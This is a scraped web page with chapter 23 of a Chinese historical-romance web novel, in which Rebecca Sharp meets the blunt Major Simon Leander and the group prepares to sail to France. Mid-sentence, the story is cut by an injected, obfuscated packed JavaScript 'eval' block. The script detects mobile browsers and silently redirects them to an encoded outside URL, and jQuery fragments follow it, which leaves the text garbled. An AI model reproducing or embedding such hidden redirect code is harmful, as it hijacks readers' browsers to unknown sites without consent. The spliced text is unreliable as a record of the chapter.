23.第 23 章

作品:《[19世纪]贫民窟交际花

    利安德尔少校微笑着问:“你是我姐姐的管家?”


    他的笑容很有感染力,瑞蓓卡能明显感受到,这不是普通对待佣人的笑容,更不是那种虚伪的社交微笑,让她想起善良单纯的爱米莉亚。


    除了爱米莉亚,利安德尔少校是唯一一个给她这种感觉的人,或许他们能成为朋友。


    面对这样温暖的笑容,她的笑容多了几分真心。


    “不,我母亲昂特勒夏女伯爵,是蒙默朗西家族的后裔,与您母亲达勒姆伯爵夫人是远亲。”


    她没有提起自己家庭教师的本职身份,先报出这几个词。


    昂特勒夏女伯爵、蒙默朗西家族等词语,一直是她在社交场上开疆拓土的好帮手。


    “原来是亲戚啊。”


    他突然收起笑容,蓝眼睛里充满愤怒。


    她被他的态度转变,弄得一愣,还没得及说些补救的话,他已经转身走进屋,重重地关上门。


    “伦恩先生,你知道利安德尔少校为什么生气吗?”


    直觉告诉她,很可能是她那显赫的外祖母家,这次发挥了反作用。


    “利安德尔少校七年前离开英国,我是在三年前来到阿尔文先生身边工作。”


    “原来你才为阿尔文先生工作三年,但我觉得你对他的忠心耿耿,那些工作三十年的人都未必比得上你呢!他常给你分配高难度工作吧?”


    伦恩先生皮笑肉不笑:“夏普小姐,你最好别白费心思,我不会说阿尔文先生的坏话,留给你把柄的。”


    “我没有引导你说什么的意思,我是真心觉得你很不容易,譬如现在,你归我指挥,就是一项对你来说很困难的任务。”


    “并没有。”


    “好,”她满意地点点头,“那请你敲敲门,把利安德尔少校请出来吧,他该去旅馆与我们同住。我到马车上等你的好消息。”


    考虑到利安德尔少校刚刚生气的模样,她认为伦恩先生将耗费不少时间,才能完成这项任务。


    一坐到马车上,她立刻打发布克德太太借给她的女佣维奥娜去买糖渍葡萄。


    没想到维奥娜还没回来,伦恩先生便拎着大包小包走出来,后面还跟着利安德尔少校。


    现在最多只过去五分钟,抛开打包行李的时间,伦恩先生几乎没时间说几句话,利安德尔少校就熄灭怒火啦?


    “麻烦你。”利安德尔少校对装行李的伦恩先生说。


    看上去,他是个很有礼貌的人,但这份礼貌和客气不属于她。


    “您的伤不要紧吧?这边的路有些颠簸。”


    “如您所见,我还活着。”


    “您的木仓法一定很好,那个与您决斗的人,肯定输了吧?”


    “死了。”


    “您刚回到英国,怎么会这么快与人产生矛盾,还这么严重?”


    “老仇人。”


    “那您——”


    “你的问题真多,难道我们很熟吗?还是说你是苏格兰场的人?”


    “我跟布克德太太是好朋友,关心好朋友的亲人,难道有什么问题吗?”


    西蒙·利安德尔被她说得一愣,见她一副信誓旦旦的模样,面对他的质问,半点都没有心虚,不由得有些相信,心中对她的厌恶稍稍减轻。


    不过,他还是不愿意跟这些上等人打交道。


    无论真心还是假意,他都讨厌他们。


    “没问题,但我不需要一个陌生人的关心,你很吵,你能明白吗?”


    “瑞蓓卡·夏普。”


    人们偶尔称赞她活泼,她还是第一次被人评价为很吵呢。


    按捺下心中的不满,瑞蓓卡挤出一个大大的笑容,朝他伸出手:“你知道我的名字,现在我们就不是陌生人了。”


    没有中间人做介绍,贸然进行自我介绍,还要伸手握手,很不符合当下的礼节,再粗鲁的农妇、女工,都不会做出这样的举动。


    她不缺乏教养,也不是那种容易头脑发热的人。


    做出这样的决定,是她深思熟虑后的选择。


    他说话很直接,毫无上流社会常见的迂回婉转,言行举止,甚至有些粗鲁,大概率不是那种看重礼节的人。


    毕竟一位有礼节的绅士,是不会赤裸上半身出现在走廊里的。


    西蒙眼中闪过一丝惊讶,动作却没有丝毫犹豫,果断地握住她的手。


    “你不像他们。西蒙·利安德尔,第六十团少校。”


    瑞蓓卡敏锐地捕捉到关键词:“他们?他们是谁?”


    “讨厌的人。”


    她笑起来:“那我是讨你喜欢的人喽?”


    伦恩先生咳嗽两声。


    西蒙打量着她:“不必要,我没觉得你需要讨我喜欢。我喜欢你,讨厌你,你都不必在意,人们都说我的性格很古怪。”


    “别人不在意你的想法,或许很容易,如果是十分钟前,我也能很轻易做到这点儿,但现在你要求我这么做,恐怕有点困难。”


    他皱皱眉:“既然你关心我的想法,那就请你不要说这些奉承话,我不需要奉承,别让我讨厌你。”


    “而且,我暂时没有跟人交谈的想法。”


    瑞蓓卡自信从未在社交场上遇冷,即使人们讨厌她,也从不把话说绝,总是那么迂回。


    利安德尔少校不讨厌她,她认为他甚至还对她有点好感,可惜他说话实在太直,一点都不给她见缝插针的机会。


    回旅馆的后半程,她一直没能与他交流。


    阿尔文回到旅馆,听说瑞蓓卡找到了西蒙,很惊讶。


    只用一天找到西蒙,她肯定很得意。


    瑞蓓卡与西蒙结伴回来时,她的嘴角几乎一直上扬,如果伦恩先生没把她在西蒙面前吃瘪的事告诉他,他真的以为她大获全胜归来。


    想到她一直无往不利,连在他面前,都常常占据上风,现在却被西蒙一个连大学都没读完的蠢家伙挫伤。


    阿尔文既高兴,又不高兴。


    在听到西蒙不打算回去见布克德太太,而是准备乘坐海平面公司的“航行者”号前往法国,他仅剩的那点儿高兴,顿时消散无影。


    “你买的什么票?”


    “二等舱。”


    阿尔文心中鄙夷:“我帮你买张一等舱的票。”


    西蒙伸伸懒腰,仰倒在单人沙发上:“不必了,你知道的,一等舱还得社交,我不喜欢跟他们交际,宁愿住二等舱。”


    “已经七年,你对


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14933017|160310||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上流社会有再多不满,差不多也该消气了吧?一直怀着仇恨,对你并不是件好事,特别是仇恨上流社会。你这样报复不到任何人,只能自断前途,又有什么意义?”


    “我才二十七岁,不一样升到少校了吗?他们妨碍不到我,而且,我也没有什么当将军的远大理想。”


    见西蒙一副满不在乎的样子,阿尔文无奈,不得不换个表达方式:“如果你的地位升高,你能更好报复那些人。”


    “先违心地奉承他们,等我成为将军,再转过头来报复他们?我宁可不报复,也不想给他们好脸色,让自己不高兴。”


    说到这里,西蒙突然坐直身子,眼睛发亮:“我还没告诉你,我已经找到当初骗我欠下‘太子债①’的人,昨晚杀死一个,他临死前,告诉我,另一个人在法国。”


    “你是通过决斗杀死他的②?木仓的准头那么差,你简直是在赌命。”


    “我的块头那么大,还海外历练那么久,他不肯用剑跟我比,只好用木仓赌运气。”


    阿尔文无奈地摸摸额头,这样鲁莽又不可理喻的人,他实在跟他讲不通,必须直接说明意图了。


    “我和夏普小姐,也要乘坐‘航行者’号,说实在的,我不希望看到我的小舅舅住在下等舱,与下等人来往。如果你不想住一等舱,那就换一艘船。”


    “不行!”西蒙差点跳起来。


    “法国离英国不远,如果让他知道我杀死贝尔的事,万一在我赶到前,他跑了怎么办?”


    晚饭时候,瑞蓓卡见到阿尔文和西蒙时,被告知:西蒙也将与他们一起,前往法国。


    西蒙因为被阿尔文威胁,如果不愿意升舱,阿尔文将把他与人决斗的事情,添油加醋告诉布克德太太,这会儿怎么看阿尔文,怎么不舒服,只好与瑞蓓卡交谈。


    “夏普小姐去法国有什么事?”


    瑞蓓卡瞥瞥阿尔文,他竟没告诉利安德尔少校,这是什么意思?


    阿尔文替她答道:“夏普小姐在英国发了笔财,想回法国寻亲,顺带进行一些投资。她的近亲基本都已经去世,因此,母亲拜托我,护送她乘船回去,帮她看看合同是否规范之类的。”


    “投资?为什么想投资?”


    “毕竟是母亲生活过的国家,经历大革命和连年战争的洗礼,或多或少,经济和工业,都有些下滑,为了纪念母亲,我想为法国做点贡献。”


    她说完这番高尚又孝顺的话,利安德尔少校的表情有些不对,她突然想起,自己犯了个错误。


    瑞蓓卡秉性圆滑,惯于说这些虚伪的话,面对耿介的利安德尔少校,乍有些转换不过来。


    “真的吗?赔钱也肯干?”西蒙一脸怀疑。


    她露出微笑,大大方方承认说:“当然不可能。我对母亲的感情是真的,但所谓的为法国做贡献,实际上,更多的是有利可图,人们告诉我,那是片好市场。”


    西蒙举起酒杯,朝向她的方向:“夏普小姐很奸诈。”


    瑞蓓卡不喝酒,她右手虚握,做出握着酒杯的样子,跟着举杯。


    两人都笑着看向对方,一种名为“被孤立”的感觉,迅速包围阿尔文,他插话打断这怪异的氛围:“奸诈有时候确实不是贬义词。”